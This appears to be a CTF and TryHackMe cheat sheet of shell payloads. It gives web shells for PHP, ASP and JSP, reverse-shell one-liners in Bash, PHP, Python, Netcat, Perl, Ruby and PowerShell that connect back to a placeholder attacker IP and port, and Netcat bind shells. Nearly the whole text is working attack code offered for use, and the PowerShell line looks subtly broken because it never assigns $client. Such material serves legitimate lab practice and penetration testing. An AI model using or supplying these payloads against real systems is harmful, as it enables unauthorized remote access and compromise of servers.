When dealing with TryHackMe & CTFs, having a reliable cheat sheet of shells and reverse shells is an absolute necessity for your CTF toolchain, post-exploitation, and initial access phases.
When you find a vulnerability (like RCE, file upload, or an exploit that allows code execution), you need a payload to translate that vulnerability into interactive access. Here is a breakdown of the most common web shells, bind shells, and reverse shells used to gain command execution on a target box.
Web shells are short scripts uploaded to a compromised web server that allow you to execute system commands via HTTP requests.
-
PHP:
<?php system($_GET['cmd']); ?> -
Usage: Browse to
http://target.com/shell.php?cmd=whoami -
ASP / ASPX:
<% eval request("cmd") %> -
JSP:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
A reverse shell forces the target machine to initiate a connection back to your attacking machine. You must set up a listener (e.g., nc -lvnp 4444) on your machine before executing the payload on the target. Replace [IP] with your VPN IP (tun0) and [PORT] with your listener port.
- Bash (Standard):
bash -i >& /dev/tcp/[IP]/[PORT] 0>&1
- PHP:
php -r '$sock=fsockopen("[IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'- Python (IPv4):
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'- Netcat (Traditional with
-e): (Note: The-eflag is often removed from modern Linux distributions for security reasons)
nc -e /bin/sh [IP] [PORT]
- Netcat (OpenBSD / Without
-e): (Uses a named pipe / mkfifo to route standard input and output)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] [PORT] >/tmp/f
- Perl:
perl -e 'use Socket;$i="[IP]";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- Ruby:
ruby -rsocket -e'f=TCPSocket.open("[IP]",[PORT]).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'- PowerShell (Windows):
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IP]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
A bind shell opens a port on the target machine and waits for you to connect to it. This is highly useful when the target cannot reach out to your attacking machine due to strict egress firewall filtering.
- Netcat Bind Shell:
nc -lvp [PORT] -e /bin/sh
- Connect with:
nc [TARGET_IP] [PORT]